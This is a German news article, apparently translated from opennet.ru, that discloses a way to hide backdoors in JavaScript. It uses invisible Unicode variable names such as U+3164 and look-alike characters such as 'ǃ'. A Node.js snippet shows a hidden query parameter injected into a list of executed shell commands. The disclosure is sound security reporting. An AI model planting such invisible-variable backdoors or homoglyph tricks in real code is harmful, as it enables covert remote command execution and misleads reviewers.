Verwendung unsichtbarer Unicode-Zeichen zur Verschleierung von Aktionen im JavaScript-Code

Nach der Trojan Source-Angriffs-Methode, die auf der Verwendung von Unicode-Zeichen basiert, die die Anzeigereihenfolge von bidirektionalem Text ändern, wurde eine weitere Technik zur Einbettung versteckter Aktionen veröffentlicht, die für Code in JavaScript anwendbar ist. Diese neue Methode basiert auf der Verwendung des Unicode-Zeichens „ㅤ“ (Code 0x3164, „HANGUL FILLER“), das zu den Buchstaben gehört, aber keinen sichtbaren Inhalt hat. Die Unicode-Kategorie, zu der dieses Zeichen gehört, ist seit der Spezifikation ECMAScript 2015 für die Verwendung in Variablennamen von JavaScript zulässig, was es ermöglicht, unsichtbare Variablen oder neue Variablen zu erstellen, die sich nicht von anderen Variablen in beliebten Code-Editoren wie Notepad++ und VS Code unterscheiden lassen.

Als Beispiel wird Code für die Node.js-Plattform angegeben, in dem durch eine Variablen, die aus einem Zeichen „ㅤ“ besteht, ein Backdoor verborgen ist, das es ermöglicht, den vom Angreifer angegebenen Code auszuführen: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // tatsächlich steht hier „const { timeout,ㅤ \u3164}“ const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ // nach dem Komma folgt das Zeichen \u3164 ];

Auf den ersten Blick wird über den externen Parameter nur der Wert für das Timeout übergeben, während das Array mit den auszuführenden Befehlen eine harmlose feste Liste enthält. In Wirklichkeit wird jedoch nach der Timeout-Variablen auch eine weitere unsichtbare Variable mit dem Zeichencode \u3164 zugewiesen, die ebenfalls im Array der auszuführenden Befehle eingesetzt wird. Somit kann ein Angreifer bei Vorliegen einer solchen Konstruktion zur Aktivierung des Backdoors und zur Ausführung seines Codes eine Anfrage wie „https://host:8080/network_health?=команда“ senden.

Als weiteres Beispiel wird das Zeichen „ǃ“ (ALVEOLAR CLICK) angeführt, das verwendet werden kann, um die Anzeichen eines Ausrufezeichens zu erzeugen. Beispielsweise wird der Ausdruck „if(environmentǃ=ENV_PROD){“ bei Ausführung in Node.js 14 immer wahr sein, da dabei keine Unterschiedsprüfung stattfindet, sondern der Variable „environmentǃ“ der Wert ENV_PROD zugewiesen wird. Zu den irreführenden Unicode-Zeichen gehören auch „／“, „−“, „＋“, „⩵“, „❨“, „⫽“, „꓿“ und „∗“.

Quelle: opennet.ru